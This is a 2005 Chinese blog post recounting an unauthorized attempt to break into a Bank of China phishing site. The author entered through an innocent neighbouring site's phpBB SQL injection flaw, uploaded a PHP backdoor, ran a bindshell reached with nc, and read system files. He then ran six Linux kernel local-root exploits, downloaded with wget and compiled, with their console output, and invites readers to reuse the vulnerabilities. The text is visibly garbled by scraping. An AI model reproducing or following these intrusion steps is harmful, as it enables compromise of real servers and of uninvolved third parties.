虛假中國銀行(www.banochi.net)入侵嘗試實錄
來源:互聯網
上載者:User
作者:阿酷
http://www.coolersky.com/
本來不打算把這個不成功的
入侵
寫出來的,後來有幾個朋友想看,既然能在內部交流,也沒有什麼見不得人的,索性發出來,初學者可以借鑒一點經驗,高手可以在此基礎上作更多嘗試,我也想多學點東西。
27日晚看到天天網的一片報道:
中國銀行網站再次遭遇複製 假網站遠在北美
,本站轉載路徑:
_
blank>
http://www.coolersky.com/web/news/20050228014041.asp
本來要整理規劃的,既然出了這個事情,好歹看看吧。廢話不說,開始!
1、收集資訊
服務
器資訊:
Apache/1.3.33
PHP/4.3.9
網站主檔案:
_
blank>
http://www.banochi.net/english/index.shtml
查看虛假網站,基本沒發現什麼可用的東西,估計只有記錄
密碼
和ip的cgi程式。除了
服務
器
入侵
,還可以考慮旁註。
檢索其他網站,分析了幾個php網站的注入,沒太多利用的地方。想起phpbb的洞洞,寫段
代碼
檢索一下viewtopic.php檔案,找到一個phpbb2.0.10
入侵
點
_
blank>
http://www.bits-clsu.org/forum/viewtopic.php?t=1
事後才想起可以用旁註
工具
直接來檢索,反正都一樣。
2、上傳
木馬
利用phpbb的洞,
漏洞
介紹
“phpBB遠程任意SQL注入漏洞
”,“
phpbbsql
注入
漏洞
分析”上傳php後門。
3、產生bindshell
我還在看檔案的時候,Edward就已經做了個bindshell出來,呵呵!基本方法:
上傳bindshell.c
gcc -o /tmp/bind bindshell.c
/tmp/bind
nc上去看看,還是在shell下比較方便。
nc -vv 216.22.48.72 7758
4、採集系統資訊
拿到webshell後就可以獲得一些基本的資訊包括passwd、httpd.conf等等,檢索到虛假網站的絕對路徑/home/banochin/public
_
html/,在webshell中查看檔案建立的時期是
服務
器時間2004-12-15,在其cgi-bin目錄下有如下檔案
檔案 建立日期 最後修改 大小 屬性
[member] 2005-02-21 21:39:03 2005-02-21 21:39:03 0700
errlog.dat 2005-02-28 00:32:22 2005-02-28 00:32:22 140.186 KB 0600
id.dat 2005-02-24 10:48:35 2005-02-24 10:48:35 1.727 KB 0600
index.htm 2004-12-15 03:19:51 2004-12-15 03:19:51 0.697 KB 0644
pwd.dat 2005-02-25 00:36:15 2005-02-25 00:36:15 0.170 KB 0600
pwdbak.dat 2004-12-15 03:24:17 2004-12-15 03:19:55 0.516 KB 0600
security.cgi 2004-12-15 03:24:03 2004-12-15 03:20:00 44.363 KB 0700
visemailer.cgi 2004-12-15 03:24:04 2004-12-15 03:20:02 3.554 KB 0700
可以看到最後記錄的
密碼
日期是2月25日,而瀏覽目錄後發現還包括了很多其他語言的中國銀行網站內容,但基本都是html檔案,想必是從中國銀行直接webdump下來的。
核心資訊,因為我們對其目錄沒有寫入權限,接著要做的就是提權了。前後大概用了1小時左右,而剩下的提權工作卻花了我1天多的時間,結果還是沒搞定,鬱悶!
uname -r
2.4.20-021stab022.11.777-enterprise
5、本地提升許可權測試
增加環境變數
export PATH=/usr/bin:$PATH
否則會出現collect2: cannot find `ld'錯誤!
(1)Linux Kernel moxa串列驅動BSS溢出
漏洞
grsecurity 2.1.0 release / 5 Linux kernel advisories
URL:
[url= target=_blank #?>_bug&do=view&bughttp://www.nsfocus.net/index.php?act=sec
_
bug&do=view&bug
_
id=7446&keyword=
_
blank>
http://lists.netsys.com/pipermail/full-disclosure/2005-January/030660.html
檔案:
[url= target=_blank #?>_andhttp://grsecurity.net/~spender/exploits
_
and
_
patches.tgz
測試:
wget
[url= target=_blank #?>_andhttp://grsecurity.net/~spender/exploits
_
and
_
patches.tgz
tar -zxvf exploits
_
and
_
patches.tgz
cd exploits
_
and
_
patches
make alloc=0x100000
------------------------------------------------------------------------
nasm -f elf -DALLOCATE=32482374 mlock-dos.S
make: nasm: Command not found
make: *** [ all ] Error 127
------------------------------------------------------------------------
結論:
缺少nasm,即使上傳rpm也不能夠執行安裝!
(2)Linux Kernel uselib()權限提高
漏洞
Linux kernel sys
_
uselib local root vulnerability
URL:
[url= target=_blank #?>_bug&do=view&bughttp://www.nsfocus.net/index.php?act=sec
_
bug&do=view&bug
_
id=7326&keyword=
_
blank>
http://marc.theaimsgroup.com/?l=bugtraq&m=110513415105841&q=raw
_
blank>
http://marc.theaimsgroup.com/?l=bugtraq&m=110512575901427&w=2
_
blank>
http://isec.pl/vulnerabilities/isec-0021-uselib.txt
檔案:
_
blank>
http://marc.theaimsgroup.com/?l=bugtraq&m=110512575901427&q=p3
測試:
gcc -O2 -fomit-frame-pointer elflbl
_
v108.c -o elflbl
_
v108
------------------------------------------------------------------------
elflbl
_
v108.c: In function `check
_
vma
_
flags':
elflbl
_
v108.c:545: warning: deprecated use of label at end of compound statement
------------------------------------------------------------------------
./elflbl
_
v108
------------------------------------------------------------------------
child 1 VMAs 0
[+] moved stack bff73000, task
_
size=0xc0000000, map
_
base=0xbf800000
[+] vmalloc area 0xc7c00000 - 0xcf707000
Wait... -Segmentation fault
-------------------------------------------------------------------------
gcc -O2 -fomit-frame-pointer elflbl
_
v109.c -o elflbl
_
v109
./elflbl
_
v109
------------------------------------------------------------------------
[+] SLAB cleanup
[-] FAILED: get
_
slab
_
objs: /proc/slabinfo not readable? (No such file or directory)
sh: line 9: 24080 Killed ./elflbl
_
v109
------------------------------------------------------------------------
(3)Linux核心本地整數溢出和記憶體泄露
漏洞
fun with
linux
kernel
URL:
[url= target=_blank #?>_bug&do=view&bughttp://www.nsfocus.net/index.php?act=sec
_
bug&do=view&bug
_
id=7269&keyword=
_
blank>
http://marc.theaimsgroup.com/?l=full-disclosure&m=110374209001676&w=2
測試:
gcc -o vc vc
_
resize.c
./vc
_
resize
------------------------------------------------------------------------
open: No such device or address
------------------------------------------------------------------------
gcc memory
_
leak.c -o memory
_
leak
------------------------------------------------------------------------
memory
_
leak.c:80:2: warning: no newline at end of file
------------------------------------------------------------------------
(4)Linux Kernel do
_
mremap VMA本地許可權提升
漏洞
Linux kernel do
_
mremap VMA limit local privilege escalation
URL:
[url= target=_blank #?>_bug&do=view&bughttp://www.nsfocus.net/index.php?act=sec
_
bug&do=view&bug
_
id=6102&keyword=%CC%E1%C9%FD
_
blank>
http://isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt
檔案:
_
blank>http://rhea.oamk.fi/~pyanil00/temp/mremap
_
pte.c
測試:
gcc -O3 -static -fomit-frame-pointer mremap
_
pte.c -o mremap
_
pte
./mremap
_
pte
------------------------------------------------------------------------
[+] kernel 2.4.20-021stab022.11.777-enterprise vulnerable: YES exploitable YES
MMAP #65530 0x50bfa000 - 0x50bfb000
[-] Failed
------------------------------------------------------------------------
(5)Linux Kernel kmod/ptrace競爭條件許可權提升
漏洞
linux
kmod/ptrace bug - details
URL:
[url= target=_blank #?>_bug&do=view&bughttp://www.nsfocus.net/index.php?act=sec
_
bug&do=view&bug
_
id=4570&keyword=%CC%E1%C9%FD
_
blank>
http://marc.theaimsgroup.com/?l=bugtraq&m=104811209231385&w=2
檔案:
_
blank>
http://august.v-lo.krakow.pl/~anszom/km3.c
測試:
gcc -o km3 km3.c
./km3 ?
------------------------------------------------------------------------
Usage: ./km3 [-d] [-b] [-r] [-s] [-c executable]
-d -- use double-ptrace method (to run interactive programs)
-b -- start bindshell on port 4112
-r -- support randomized pids
-c -- choose executable to start
-s -- single-shot mode - abort if unsuccessful at the first try
------------------------------------------------------------------------
./km3 -s
------------------------------------------------------------------------
Linux kmod + ptrace local root exploit by
=> Simple mode, executing /usr/bin/id > /dev/tty
sizeof(shellcode)=95
=> Child process started..........
Failed
------------------------------------------------------------------------
(6)Linux Kernel i386 SMP頁錯誤處理器權限提高
漏洞
Linux kernel i386 SMP page fault handler privilege escalation
URL:
[url= target=_blank #?>_bug&do=view&bughttp://www.nsfocus.net/index.php?act=sec
_
bug&do=view&bug
_
id=7338
_
blank>
http://marc.theaimsgroup.com/?l=bugtraq&m=110554694522719&w=2
測試:
gcc -o smp smp.c
./smp
------------------------------------------------------------------------
[+] in thread 1 (pid = 5400)
[+] in thread 2 (pid = 5401)
[+] rdtsc calibration: 53428
[+] exploiting race, wait...
[-] unable to exploit race in 30s,
kernel patched or load too high.
------------------------------------------------------------------------
嘗試多個本地提權均未能成功!很鬱悶!而在測試過程的時候,虛假網站已經被關閉了,雖然檔案還在,但是很明顯官方已經作了努力,並得到了不錯的結果。
6、其他
找了幾個
linux
的鍵盤記錄,都要root許可權。而
服務
器遠端連線使用的ssh的,使用sniffer也估計沒戲,所以暫時也沒什麼思路,清理exp、記錄檔。
以上是我的一些測試的結果,結果也沒有拿到root,不過我整理了一下相關的
漏洞
,希望對大家以後有些協助。在站長群裡發布了相關的結果,也沒有人回話,不知道大家是太忙。。。
文中並未特殊處理
漏洞
及結果,有興趣的可以直接利用,不過沒必要為難其他網站,我想大家明白我的意思!
折騰了這麼久,還有好多工作的事情要做!希望不會被老闆說,呵呵!
最後感謝Edward、老黑及幾位公司的高人!
文章可隨意轉載,但請註明出處,尤其文中全部及部分內容不得使用者任何商業或
收費
行為,謝謝!